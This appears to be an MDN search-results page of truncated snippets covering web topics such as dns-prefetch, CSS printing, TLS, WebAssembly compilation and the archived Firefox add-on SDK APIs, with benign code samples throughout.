... any time your site references resources on cross-origin domains, but there are some things to keep in mind. best practices there are 3 main things to keep in mind: for one, dns-prefetch is only effective for dns lookups on cross-origin domains, so avoid using it to point to your site or domain. this is because the ip behind your site’s domain will have already been resolved by the time the browser sees the hint. second, it’s also possible to specify dns-prefetch (and other resources hints) as an http header by using the http link field: link: <https://fonts.gstatic.com/>; rel=dns-prefetch third, consider pairing dns-prefetch with the preconnect hint. while dns-prefetch only performs a dns lookup, preconnect establishes a connection to a server. this process includes dns resolution, ...
...And 2 more matches
Media - Progressive web apps (PWAs)
e-break-after and page-break-inside properties. example this rule sets the page margins to one inch on all four sides: @page {margin: 1in;} this rule ensures that every h1 element starts on a new page: h1 {page-break-before: always;} more details for full details of css support for paged media, see paged media in the css specification. like other features of css, printing depends on browser choice and its settings. for example, the mozilla browser supplies default margins, headers, and footers for printing. keep in mind that you can't completely control the printed format. it is impossible to anticipate every user's browser choice and settings at the time of printing. user interfaces css has some special properties for devices that support a user interface, like computer displa...
...rlink to a url that the user has visited recently note: the information that can be obtained from the :visited selector is restricted in gecko 2.0. see privacy and the : visited selector for more details. the cursor property specifies the shape of the pointer: some of the common shapes are as follows. place your mouse over the items in this list to see the actual pointer shapes in your browser: selector selects pointer indicating a link wait indicating that the program cannot accept input progress indicating that the program is working, but can still accept input default the default (usually an arrow) an outline property creates an outline that is often used to indicate keyboard focus. its values are similar to t...
...s over it. more details for more information about user interfaces in css, see user interface in the css specification. in part ii of this tutorial, there is an example of mozilla's markup language for user interfaces. action: printing a document note: this snippet only works on firefox since it erroneously increments the css counter for fix-position elemnts. it shouldn not work in other browsers. see issue on css3-page. make a new html document, doc4.html. copy and paste the content from here: <!doctype html> <html> <head> <title>print sample</title> <link rel="stylesheet" href="style4.css"> </head> <body> <h1>section a</h1> <p>this is the first section...</p> <h1>section b</h1> <p>this is the second section...</p> <div id="print-head"> h...
...And 2 more matches
Mobile first - Progressive web apps (PWAs)
vided a high level look into the kinds of planning and functionality decisions you should make before you start coding an app, including some ideas for desktop and mobile design. this article offers some related ideas, looking at the concept of mobile first — the practice of designing a website so that the default layout/configuration is for mobile devices, and layouts and features for desktop browsers are then layered on top of that default. this guide looks at a few useful techniques inside the mobile first umbrella. first things first — mobile as a default you may think that concentrating on the mobile experience first sounds pointless, as we are more used to dealing with desktop sites, and we surely need to consider the full gamut of features for the overall experience across deskto...
...before any media queries are encountered, rather than having desktop/wider screen styling first. this way, mobile devices don't have to load assets and other information twice. if you are using mechanisms like feature detection and matchmedia to conditionally load scripting functionality depending on viewport size, feature support, etc., you should just load the very basics that pretty much all browsers will need first, then progressively enhance browsers higher up the food chain. note: starting with very little and working up as the need arises usually makes more sense than starting with everything and then covering up things if they aren't needed! mobile constraints we have already mentioned the fact that mobiles generally have less memory, processing power and bandwidth than other de...
...won't read that media query, so they will not waste their time and bandwidth downloading that image. note: firefox's responsive design view is a great way to get a quick idea of how your media queries are behaving themselves. try it out with tools > web developer > responsive design view. feature detection feature detection involves doing tests (usually in javascript) to determine whether a browser supports a certain feature, and then serving css or javascript to suit that situation. this can be very useful for mobile first, as you may well want to hide bits of code from the "mobile version" and only include them for the "desktop version", or vice versa. you can write your own feature detects (mark pilgrim's all-in-one almost-alphabetical guide to detecting everything is a good start), b...
...And 2 more matches
SVG Presentation Attributes - SVG: Scalable Vector Graphics
erpolation-filters it specifies the color space for imaging operations performed via filter effects. value: auto|srgb|linearrgb|inherit; animatable: yes color-profile deprecated since svg 2 it defines which color profile a raster image included through the <image> element should use. value: auto|srgb|linearrgb|<name>|<iri>|inherit; animatable: yes color-rendering it provides a hint to the browser about how to optimize its color interpolation and compositing operations. value: auto|optimizespeed|optimizequality|inherit; animatable: yes cursor it specifies the mouse cursor displayed when the mouse pointer is over an element. value: <funciri>|<keywords>|inherit; animatable: yes direction it specifies the base writing direction of text. value: ltr|rtl|inherit; animatable: yes displa...
...le: yes display it allows to control the rendering of graphical or container elements. value: see css display; animatable: yes dominant-baseline it defines the baseline used to align the box’s text and inline-level contents. value: auto|text-bottom|alphabetic|ideographic|middle|central| mathematical|hanging|text-top; animatable: yes enable-background deprecated since svg 2 it tells the browser how to manage the accumulation of the background image. value: accumulate|new|inherit; animatable: no fill it defines the color of the inside of the graphical element it applies to. value: <paint>; animatable: yes fill-opacity it specifies the opacity of the color or the content the current object is filled with. value: <number>|<percentage>; animatable: yes fill-rule it indicates how ...
... glyph-orientation-horizontal deprecated since svg 2 it controls glyph orientation when the inline-progression-direction is horizontal. value: <angle>|inherit; animatable: no glyph-orientation-vertical deprecated since svg 2 it controls glyph orientation when the inline-progression-direction is vertical. value: auto|<angle>|inherit; animatable: no image-rendering it provides a hint to the browser about how to make speed vs. quality tradeoffs as it performs image processing. value: auto|optimizequality|optimizespeed; animatable: yes kerning deprecated since svg 2 it indicates whether the browser should adjust inter-glyph spacing. value: auto|<length>|inherit; animatable: yes letter-spacing it controls spacing between text characters. value: normal|<length>|inherit; animatable: yes...
...And 2 more matches
Transport Layer Security - Web security
ew of tls and the kinds of decisions you need to make when securing your content. history when https was introduced, it was based on secure sockets layer (ssl) 2.0, a technology introduced by netscape. it was updated to ssl 3.0 not long after, and as its usage expanded, it became clear that a common, standard encryption technology needed to be specified to ensure interoperability among all web browsers and servers. the internet engineering task force (ietf) specified tls 1.0 in rfc 2246 in january, 1999. the current version of tls is 1.3 (rfc 8446). despite the fact that the web now uses tls for encryption, many people still refer to it as "ssl" out of habit. although tls can be used on top of any low-level transport protocol, the original goal of the protocol was to encrypt http traffic...
...fer from those in the tls standards. the cipher names correspondence table on the mozilla opsec team's article on tls configurations lists these names as well as information about compatibility and security levels. configuring your server correctly configuring your server is crucial. in general, you should try to limit cipher support to the newest ciphers possible which are compatible with the browsers you want to be able to connect to your site. the mozilla opsec guide to tls configurations provides more information on recommended configurations. to assist you in configuring your site, mozilla provides a helpful tls configuration generator that will generate configuration files for the following web servers: apache nginx lighttpd haproxy amazon web services cloudformation elastic lo...
...r identity (the server_name or sni extension) that a client sends to the server is not encrypted. numerous mechanisms have been disabled: renegotiation, generic data compression, digital signature algorithm (dsa) certificates, static rsa key exchange, and key exchange with custom diffie-hellman (dh) groups. implementations of draft versions of tls 1.3 are available. tls 1.3 is enabled in some browsers, including the 0-rtt mode. web servers that enable tls 1.3 might need to adjust configuration to allow tls 1.3 to operate successfully. tls 1.3 adds just one significant new use case. the 0-rtt handshake can provide significant performance gains for latency sensitive applications, like the web. enabling 0-rtt requires additional steps, both to ensure successful deployment and to manage the ri...
...And 2 more matches
Tutorials
ruct a simple webpage and publish your own simple code. html tutorials introductory level introduction to html this module sets the stage, getting you used to important concepts and syntax, looking at applying html to text, how to create hyperlinks, and how to use html to structure a webpage. mdn html element reference a comprehensive reference for html elements, and how the different browsers support them. creating a simple web page with html an html guide for beginners that includes explanations of common tags, including html5 tags. also includes a step-by-step guide to creating a basic web page with code examples. html challenges use these challenges to hone your html skills (for example, "should i use an <h2> element or a <strong> element?"), focusing on meaningful ma...
...w to place your boxes in the right place in relation to the viewport, and one another. we have covered the necessary prerequisites so can now dive deep into css layout, looking at different display settings, traditional layout methods involving float and positioning, and new fangled layout tools like flexbox. css reference complete reference to css, with details on support by firefox and other browsers. fluid grids design layouts that fluidly resize with the browser window, while still using a typographic grid. css challenges flex your css skills, and see where you need more practice. advanced level using css transforms apply rotation, skewing, scaling, and translation using css. css transitions css transitions, part of the draft css3 specification, provide a way to ani...
...earn how to code javascript. it's interactive and you can do it with your friends. freecodecamp freecodecamp teaches a variety of languages and frameworks for web development. it also has a forum, an internet radio station, and a blog. intermediate level introducing javascript objects in javascript, most things are objects, from core javascript features like strings and arrays to the browser apis built on top of javascript. you can even create your own objects to encapsulate related functions and variables into efficient packages. the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. here we teach object theory and syntax in de...
...And 2 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
: compiling to wasm and creating html to run our code in, plus all the javascript "glue" code needed to run the wasm in the web environment. compiling to wasm and just creating the javascript. we will look at both below. creating html and javascript this is the simplest case we'll look at, whereby you get emscripten to generate everything you need to run your code, as webassembly, in the browser. first we need an example to compile. take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, a...
...ue" code to compile and instantiate the wasm so it can be used in the web environment. at this point in your source directory you should have: the binary wasm module code (hello.wasm) a javascript file containing glue code to translate between the native c functions, and javascript/wasm (hello.js) an html file to load, compile, and instantiate your wasm code, and display its output in the browser (hello.html) running your example now all that remains is for you to load the resulting hello.html in a browser that supports webassembly. it is enabled by default in firefox 52+ and chrome 57+/latest opera (you can also run wasm code in firefox 47+ by enabling the javascript.options.wasm flag in about:config, or chrome (51+) and opera (38+) by going to chrome://flags and enabling the experi...
...r_path/hello.html), you will end up with an error message along the lines of both async and sync fetching of the wasm failed. you need to run your html file through an http server (http://) — see how do you set up a local testing server? for more information. if everything has worked as planned, you should see "hello world" output in the emscripten console appearing on the web page, and your browser’s javascript console. congratulations, you’ve just compiled c to webassembly and run it in your browser! using a custom html template sometimes you will want to use a custom html template. let's look at how we can do this. first of all, save the following c code in a file called hello2.c, in a new directory: #include <stdio.h> int main(int argc, char ** argv) { printf("hello...
...And 2 more matches
WebAssembly
it is also designed to run alongside javascript, allowing both to work together. in a nutshell webassembly has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near native speed, with client apps running on the web that previously couldn’t have done so. ...
...are functionality between the two. this allows you to take advantage of webassembly's performance and power and javascript's expressiveness and flexibility in the same apps, even if you don't know how to write webassembly code. and what's even better is that it is being developed as a web standard via the w3c webassembly working group and community group with active participation from all major browser vendors. guides webassembly concepts get started by reading the high-level concepts behind webassembly — what it is, why it is so useful, how it fits into the web platform (and beyond), and how to use it. compiling a new c/c++ module to webassembly when you’ve written code in c/c++, you can then compile it into .wasm using a tool like emscripten. let’s look at how it works. comp...
...he webassembly javascript api. exported webassembly functions exported webassembly functions are the javascript reflections of webassembly functions which allow calling webassembly code from javascript. this article describes what they are. understanding webassembly text format this article explains the wasm text format. this is the low-level textual representation of a .wasm module shown in browser developer tools when debugging. converting webassembly text format to wasm this article provides a guide on how to convert a webassembly module written in the text format into a .wasm binary. api reference webassembly this object acts as the namespace for all webassembly related functionality. webassembly.global() a webassembly.global object represents a global variable instance, ac...
...And 2 more matches
Porting the Library Detector - Archive of obsolete content
using. it does this by checking whether particular objects that those libraries add to the global window object are defined. for example, if window.jquery is defined, then the page has loaded jquery. for each library that it finds, the library detector adds an icon representing that library to the status bar. it adds a tooltip to each icon, which contains the library name and version. you can browse and run the ported version in the sdk's examples directory. how the library detector works all the work is done inside a single file, librarydetector.xul this contains: a xul overlay a script the xul overlay adds a box element to the browser's status bar: the script does everything else. the bulk of the script is an array of test objects, one for each library. each test object contains...
.... the bulk of the script is an array of test objects, one for each library. each test object contains a function called test(): if the function finds the library, it defines various additional properties for the test object, such as a version property containing the library version. each test also contains a chrome:// url pointing to the icon associated with its library. the script listens to gbrowser's domcontentloaded event. when this is triggered, the testlibraries() function builds an array of libraries by iterating through the tests and adding an entry for each library which passes. once the list is built, the switchlibraries() function constructs a xul statusbarpanel element for each library it found, populates it with the icon at the corresponding chrome:// url, and adds it to the bo...
...when this is triggered, the testlibraries() function builds an array of libraries by iterating through the tests and adding an entry for each library which passes. once the list is built, the switchlibraries() function constructs a xul statusbarpanel element for each library it found, populates it with the icon at the corresponding chrome:// url, and adds it to the box. finally, it listens to gbrowser's tabselect event, to update the contents of the box for that window. content script separation the test objects in the original script need access to the dom window object, so in the sdk port, they need to run in a content script. in fact, they need access to the un-proxied dom window, so they can see the objects added by libraries, so we’ll need to use the experimental unsafewindow. the ...
...dom window, so they can see the objects added by libraries, so we’ll need to use the experimental unsafewindow. the main add-on script, main.js, will use a page-mod to inject the content script into every new page. the content script, which we'll call library-detector.js, will keep most of the logic of the test functions intact. ...
context-menu - Archive of obsolete content
handy but not very powerful. for instance, you might want your menu item to appear for any page that has at least one image, but declarative contexts won't help you there. when you need more control over the context in which your menu items are shown, you can use content scripts. like other apis in the sdk, the context-menu api uses content scripts to let your add-on interact with pages in the browser. each menu item you create in the top-level context menu can have a content script. a special event named "context" is emitted in your content scripts whenever the context menu is about to be shown. if you register a listener function for this event and it returns true, the menu item associated with the listener's content script is shown in the menu. for example, this item appears whenever th...
...and includes it in the returned string. when the item is shown, its label will be "search google for text", where text is the truncated selection. you can also get the selected text using the high level selection api. var selection = require("sdk/selection"); and within the contentscript, reference the selected text as selection.text private windows if your add-on has not opted into private browsing, then any menus or menu items that you add will not appear in context menus belonging to private browser windows. to learn more about private windows, how to opt into private browsing, and how to support private browsing, refer to the documentation for the private-browsing module. more examples for conciseness, these examples create their content scripts as strings and use the contentscript...
...don-context-menu-item. the difficult part it to identify those that belong to your extension. one way to achieve this it to utilize the data attribute of item class constructor, which conveniently maps to the value attribute of the underlying xul element. so if data consists of unique prefix and the desired tooltip text, it is just a matter of kicking in the right moment. ...
... parameters options : object required options: name type ...
panel - Archive of obsolete content
contenturl: require("sdk/self").data.url("myfile.html") }); mypanel.show(); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html"). so you can rewrite the above code like this: var mypanel = require("sdk/panel").panel({ contenturl: "./myfile.html" }); mypanel.show(); panel positioning by default the panel appears in the center of the currently active browser window. you can position the panel by passing a position to the panel's constructor or to its show() method. attaching panels to buttons you can attach a panel to a toggle button by passing the button itself as the position option to the panel's show() method or to its constructor: var { togglebutton } = require('sdk/ui/button/toggle'); var sdkpanels = require("sdk/panel"); var self = requir...
... the focus to the text area so the user can // just start typing. self.port.on("show", function onshow() { textarea.focus(); }); finally, the "text-entry.html" file defines the <textarea> element: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> </body> </html> finally, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png to learn much more about content scripts, see the working with content scripts guide. scripting trusted panel content note: this example uses the action button api, which is only available fr...
...s to the text area so the user can // just start typing. addon.port.on("show", function onshow() { textarea.focus(); }); finally, the html file now references "get-text.js" inside a <script> tag: <html> <head> <style type="text/css" media="all"> textarea { margin: 10px; } body { background-color: gray; } </style> </head> <body> <textarea rows="13" cols="33" id="edit-box"></textarea> <script src="get-text.js"></script> </body> </html> styling panel content the panel's default style is different for each operating system: this helps to ensure that the panel's style is consistent with the dialogs displayed by firefox and other applications, but means you need to take care when applying your own styles. if the panel's content i...
...ontenturl: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile", contentstyle: "body { border: 3px solid blue; }" }); mypanel.show(); var self = require("sdk/self"); var mypanel = require("sdk/panel").panel({ contenturl: "https://en.wikipedia.org/w/index.php?title=jetpack&useformat=mobile", contentstylefile: self.data.url("panel-style.css") }); mypanel.show(); private browsing if your add-on has not opted into private browsing, and it calls panel.show() when the currently active window is a private window, then the panel will not be shown. panel limitations although panels can host html documents, they are not implemented as browser tabs, so many things that work in normal web pages do not work inside panels: prior to firefox 33, you don't get a context menu. ...
platform/xpcom - Archive of obsolete content
by default, the factory is unregistered as soon as the add-on which created it is unloaded. by including this option, set to false, the factory is not automatically unregistered and you must unregister it manually using the unregister() function. functions register(factory) register the factory or service supplied. if the factory or service is already registered, this function throws components.results.ns_error_factory_exists. by default, factories and services are registered automatically, so you should only call register() if you have overridden the default behavior. parameters factory : object the factory or service to register. unregister(factory) unregister the factory or service supplied. if the factory or service is not registered, this function does nothing. by...
...ervice. if the factory or service isn't registered, this function returns null. this function wraps components.classesbyid. parameters id : string a class id. returns object : the factory or service identified by the class id. factorybycontract(contract) given a contract id this function returns the associated factory or service. if the factory or service isn't registered, this function throws components.results.ns_error_factory_not_registered. this function is similar to the standard components.classes[contractid] with one significant difference: that components.classes is not updated at runtime. so if a factory is registered with the contract id "@me.org/mycomponent", and another factory is already registered with that contract id, then: components.classes["@me.org/mycomponent"] ...
...ally you don't need to call it yourself. it is passed an interface identifier and searches for the identifier in the interfaces property of: this object any of this object's ancestors any classes in the implements array property of the instance (for example, any classes added to this object via the implements option defined in heritage). if it finds a match, it returns this, otherwise it throws components.results.ns_error_no_interface. parameters interface : iid the interface to ask for. this is typically given as a property of the components.interfaces object. returns object : the object itself(this). properties interfaces the set of interfaces supported by this class. unknown sets this to nsisupports. factory use this class to register an xpcom factory. to register a factory...
...-on that created it is unloaded. to override this behavior, you can pass register and/or unregister options, set to false. if you do this, you can use the register() and unregister() functions to register and unregister. methods createinstance(outer, iid) creates an instance of the component associated with this factory. parameters outer : null this argument must be null, or the function throws cr.ns_error_no_aggregation. iid : iid interface identifier. these objects are usually accessed through the components.interfaces, or ci, object. the methods of this interface will be callable on the returned object. if the object implements an interface that's already defined in xpcom, you can pass that in here: var about = aboutfactory.createinstance(null, ci.nsiaboutmodule); // you can now ...
test/assert - Archive of obsolete content
equality between 1 and '1'"); } // this test will pass, because the types are different exports["test strict equality"] = function(assert) { assert.notstrictequal(1, "1", "test strict equality between 1 and '1'"); } parameters actual : object the actual result. expected : object the expected result. message : string optional message to log, providing extra information about the test. throws(block, error, message) assert that a block of code throws the expected exception. this method takes an optional error argument: to check that the exception thrown is of the expected type, pass a constructor function: the exception thrown must be an instance of the object returned by that function. to check that the exception thrown contains a specific message, pass a regular express...
...; function anothererror(message) { this.name = "anothererror"; this.message = message || "default message"; console.log(this.message); } anothererror.prototype = new error(); anothererror.prototype.constructor = anothererror; we can check the type of exception by passing a function as the error argument: exports["test exception type 1 expected to pass"] = function(assert) { assert.throws(function() { throw new myerror("custom message"); }, myerror, "test throwing a specific exception"); } exports["test exception type 2 expected to fail"] = function(assert) { assert.throws(function() { throw new myerror("custom message"); }, anothererror, "test throwing a specific exception"); } we can check the message by passing a regular expression: exports["test except...
...rror, "test throwing a specific exception"); } exports["test exception type 2 expected to fail"] = function(assert) { assert.throws(function() { throw new myerror("custom message"); }, anothererror, "test throwing a specific exception"); } we can check the message by passing a regular expression: exports["test exception message 1 expected to pass"] = function(assert) { assert.throws(function() { throw new myerror("custom message"); }, /custom message/, "test throwing a specific message"); } exports["test exception message 2 expected to pass"] = function(assert) { assert.throws(function() { throw new anothererror("custom message"); }, /custom message/, "test throwing a specific exception"); } exports["test exception message 3 expected to fail"] = funct...
...ew myerror("custom message"); }, /custom message/, "test throwing a specific message"); } exports["test exception message 2 expected to pass"] = function(assert) { assert.throws(function() { throw new anothererror("custom message"); }, /custom message/, "test throwing a specific exception"); } exports["test exception message 3 expected to fail"] = function(assert) { assert.throws(function() { throw new myerror("another message"); }, /custom message/, "test throwing a specific message"); } parameters block : block the block of code to test. error : function|regexp either a constructor function returning the type of exception expected, or a regular expression expected to match the exception's message property. message : string optional message to log, provi...
ui/button/toggle - Archive of obsolete content
on.state('window', {checked: false}); } disabling buttons you can disable a button by setting its disabled property to true. a disabled button will not generate click or change events and its icon will appear disabled: updating state you can update all the button's properties, except for its id. depending on your application, you might want a button to have different state in different browser windows or different tabs. for example, you might want to give it a different appearance when the current page is being served over https. the button api handles this by defining a tree of potential states. at the root is the global state, then there's a state you can set for each window, then a state you can set for each tab. more-specific states override less-specific states. for example, su...
...or different tabs. for example, you might want to give it a different appearance when the current page is being served over https. the button api handles this by defining a tree of potential states. at the root is the global state, then there's a state you can set for each window, then a state you can set for each tab. more-specific states override less-specific states. ...
...of potential states. at the root is the global state, then there's a state you can set for each window, then a state you can set for each tab. more-specific states override less-specific states. for example, suppose the browser has two windows (w1 and w2), and each window has two tabs. ...
...splays "my default" w2 t3 > displays "my default" t4 > displays "my default" if you then set a label specific to t3 as "my t3 label", then set a label state specific to w2 as "my w2 label", then the button displayed when t3 is the active tab will still show "my t3 label", but the button displayed when t4 is the active tab will show "my w2 label": browser: label = "my default" w1 t1 > displays "my default" t2 > displays "my default" w2 t3 > displays "my t3 label" t4 > displays "my w2 label" setting the properties on the button instance sets the button's global state: button.label = "my new label"; you can set state to be specific to a window or tab using the button's state...
Low-Level APIs - Archive of obsolete content
you to extend the firefox developer tools. event/core the event/core module allows the creation of apis to broadcast and subscribe to events. event/target create objects that broadcast events. frame/hidden-frame creates firefox frames (i.e. xul <iframe> elements) that are not displayed to the user. frame/utils provides helper functions for working with platform internals like frames and browsers. fs/path provides access to the local filesystem with the nodejs path module api. io/byte-streams provides streams for reading and writing bytes. io/file provides access to the local filesystem. io/text-streams provides streams for reading and writing text. lang/functional functional helper methods. lang/type functions for working with type detection. loader/cuddlefish the sdk's ...
...type detection. loader/cuddlefish the sdk's module loader. loader/sandbox create javascript sandboxes and execute scripts in them. net/url enables you to read content from a uri. net/xhr provides access to xmlhttprequest functionality. places/bookmarks create, modify, and retrieve bookmarks. places/favicon helper functions for working with favicons. places/history access the user's browsing history. platform/xpcom implement xpcom objects, factories, and services. preferences/event-target listen to changes to the preferences system in firefox. preferences/service access the preferences system in firefox. remote/child enables an sdk module loaded into a child process to access web content in the child process and communicate with modules in the main process. remote...
...ar environment variables. system/events api for working with the application observer service. system/runtime access to information about firefox's runtime environment. system/unload register callbacks that are called when a module is unloaded. system/xul-app information about the application on which your add-on is running. tabs/utils functions for working with xul tabs and the xul tabbrowser object. test/assert implements the assert interface defined in the commonjs unit testing specification version 1.1. test/harness test harness setup and execution. test/httpd an http server for the mozilla platform, which can be used in unit tests. test/runner sets up unit tests. test/utils helper methods used in the commonjs unit testing suite. ui/button/action add a button to the f...
...ons for working with arrays. util/collection a simple list-like class and utilities for using it. util/deprecate functions to deprecate code. util/list building blocks for composing lists. util/match-pattern test strings containing urls against simple patterns. util/object functions for working with objects. util/uuid generate or parse uuids. window/utils functions for working with browser windows. ...
Release notes - Archive of obsolete content
details github commits made between firefox 34 and firefox 35. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 34 and firefox 35. this will not include any uplifts made after this release entered aurora. firefox 34 highlights new api: dev/panel enables you to extend the firefox developer tools. jpm beta released. "./my-file" introduced everywhere as an alias for require("sdk/self").data.url("my-file") added the ability to attach stylesheets to individual tabs. details github commits made between firefox 33 and firefox 34. ...
...ils github commits made between firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 33 and firefox 34. this will not include any uplifts made after this release entered aurora. firefox 33 highlights added support for context menus in panels via a new option in the panel constructor. added tab.readystate. added a browserwindow parameter to sidebar.show() and sidebar.hide(), to control the window for which the sidebar will be shown or hidden. details github commits made between firefox 32 and firefox 33. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 32 and firefox 33. this will not include any uplifts made after this release entered aurora. firefox 32 ...
...gger now includes a console and a scratchpad. details github commits made between firefox 31 and firefox 32. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 31 and firefox 32. this will not include any uplifts made after this release entered aurora. firefox 31 highlights add-on debugger added the ability to convert between high-level browserwindow objects and dom windows, and between high-level tab objects and xul tabs. updated the default theme used for panels on mac os x. added contentstyle and contentstylefile options to panel. details github commits made between firefox 30 and firefox 31. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 30 and firefox 31. this will not i...
...bugs fixed between firefox 29 and firefox 30. this will not include any uplifts made after this release entered aurora. firefox 29 highlights added new ui modules for australis: actionbutton, togglebutton, frame and toolbar. made the preferences branch for simple-prefs configurable. added predicatecontext to sdk/context-menu. deprecated widget in favor of the new ui modules. removed tab-browser, app-strings and api-utils.publicconstructor details github commits made between firefox 28 and firefox 29. this will not include any uplifts made after this release entered aurora. bugs fixed between firefox 28 and firefox 29. this will not include any uplifts made after this release entered aurora. firefox 28 highlights added wildcard event type "*". added a ready event to sidebars.
Creating Event Targets - Archive of obsolete content
simple to implement your own event targets. this is especially useful if you want to build your own modules, either to organize your add-on better or to enable other developers to reuse your code. if you use the sdk's event framework for your event targets, users of your module can listen for events using the sdk's standard event api. in this tutorial we'll create part of a module to access the browser's places api. it will emit events when the user adds and visits bookmarks, enabling users of the module to listen for these events using the sdk's standard event api. using the places api first, let's write some code using places api that logs the uris of bookmarks the user adds. create a new directory called "bookmarks", navigate to it, and run jpm init, accepting all the defaults. then ope...
... api first, let's write some code using places api that logs the uris of bookmarks the user adds. create a new directory called "bookmarks", navigate to it, and run jpm init, accepting all the defaults. ...
... into a separate module that exposes the sdk's standard event interface. to do this we'll use the event/core module. ...
...events. ...
LookupNamespaceURI - Archive of obsolete content
however, due to bug 312019, this method does not work with dynamically assigned namespaces (e.g., those set with node.prefix). ...
...however, due to bug 312019, this method does not work with dynamically assigned namespaces (e.g., those set with node.prefix). ...
...however, due to bug 312019, this method does not work with dynamically assigned namespaces (e.g., those set with node.prefix). ...
...per (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { // note: prefix could be "null" in the case we are looking for default namespace return node.namespaceuri; } if (node.attributes.length) { for (i = 0; i < node.attributes.length; i++) { att = node.attrib...
Post data to window - Archive of obsolete content
this offers examples of sending post data to the server and displaying the server response. need more elaborate examples, examples of displaying the response in a new tab, in background tabs, and a link to using xmlhttprequest for post requests. preprocessing post data the apostdata argument of the (global) loaduri(), opendialog(), and (tab)browser.loaduriwithflags() methods expects the post data in the form of an nsiinputstream (because they eventually call nsiwebnavigation.loaduri()) while post data can be created using nsimimeinputstream. most of the time, post data starts as a data string in the form of "name1=data1&name2=data2&...", so you must convert it before passing the data to one of the methods. here is an example: var datastring = "name1=data1&name2=data2"; // post method req...
...@mozilla.org/network/mime-input-stream;1"]. ...
...work/mime-input-stream;1"]. ...
...w-form-urlencoded"); postdata.addcontentlength = true; postdata.setdata(stringstream); // postdata is ready to be used as apostdata argument ... ...
Extension Etiquette - Archive of obsolete content
fault popup about dialog that is created from install.rdf data; creating a new xul about box is usually unnecessary. you can decrease download size by omitting a customized about box. make one only if you have a special feature that needs to be included — for example, a custom updater. theming if you have xul buttons in your extension that do functions similar to ones that already exist in a browser — for example, a feed reader that reloads and stops — use icons from the browser's theme. the icons makes the extension lighter, while providing more consistency, especially for users using different themes. extension icons unique icons are usually worth their download weight. they allow for easy identification among other extensions in the extensions manager. coding practices namespace...
... while providing more consistency, especially for users using different themes. extension icons unique icons are usually worth their download weight. they allow for easy identification among other extensions in the extensions manager. coding practices namespace conflicts there are many namespaces which extensions often must share with other consumers, be they other add-ons, web code, or the browser itself. these often include areas such as: object prototypes, such as string.prototype, which are often extended to add methods to native objects. global variables, such as top-level declarations on scripts loaded into shared windows or web pages. expando properties of shared objects, such as document objects, or dom nodes. ids and class names in html and xul documents, when extensions ad...
...de areas such as: object prototypes, such as string.prototype, which are often extended to add methods to native objects. global variables, such as top-level declarations on scripts loaded into shared windows or web pages. expando properties of shared objects, such as document objects, or dom nodes. ids and class names in html and xul documents, when extensions add elements to web pages or browser windows. chrome: or resource: packages, which are often defined in chrome.manifest files. about: page urls. xpcom contract ids, which are often registered in chrome.manifest files. while these are among the most common examples of namespaces in which conflicts can occur, there are many others. in general, care must be taken whenever defining a name anywhere that other code might do likewis...
...and metadata naming be creative! don't be redundant and include "extension," "mozilla/firefox/thunderbird," or the version number in the name. be original! descriptions use something that is descriptive, but that would fit in the default add-on manager width. the mozilla extensions (inspector/reporter/talkback) believe starting with a verb is the best way. for example, "does an action in the browser." documentation assume that the vast majority of your users don't have inner working knowledge of mozilla. make sure your extension's homepage states the "obvious," including the purpose of your extension. users also appreciate when your extension is shipped with a simple how-to document. ids firefox/thunderbird 1.5 or later are much more strict about the ids of extensions than their 1.0 co...
Interaction between privileged and non-privileged pages - Archive of obsolete content
here we call the event myextensionevent. ...
... var mainwindow = window.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(co...
...ck</button> <button onclick="return something.send_request({baz: 3}, something.callback)">send {baz: 3} with callback</button> <button onclick="return something.send_request({mozilla: 3})">send {mozilla: 3} without callback</button> <button onclick="return something.send_request({firefox: 4}, something.callback)">send {firefox: 4} with callback</button> </body> </html> overlay on browser.xul in your extension: var something = { listen_request: function(callback) { // analogue of chrome.extension.onrequest.addlistener document.addeventlistener("something-query", function(event) { var node = event.target; if (!node || node.nodetype != node.text_node) return; var doc = node.ownerdocument; callback(json.parse(node.nodevalue), doc, function(re...
... it is highly recommended to check the source of the event (via event.target.ownerdocument.location) and make your extension ignore any events from pages not from your server. resources mozillazine forum discussion communication between html and your extension ...
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
ss the resulting function from the first .bind() call. calling .bind() again with removeeventlistener will not work. also, calling .bind() in a tight (inner) loop should be avoided for performance reasons, as calling .bind() does require some work and memory. ...
...ight (inner) loop should be avoided for performance reasons, as calling .bind() does require some work and memory. overriding/extending/amending existing functions a common thing add-ons do during their initialization is overriding/extending existing browser functions by using function.tostring/function.tosource and eval to "string-patch" the function body. // do not use! var functionbody = gbrowser.addtab.tosource(); var afterbracket = functionbody.indexof("{") + 1; functionbody = functionbody.substring(0, afterbracket) + "myaddon.onaddtab(auri);" + functionbody.substring(afterbracket); eval("gbrowser.addtab = " + functionbody); of course, this not only looks messy, but can be quite error prone. other extensions might do something similar, trying to hook the same functions, but a lit...
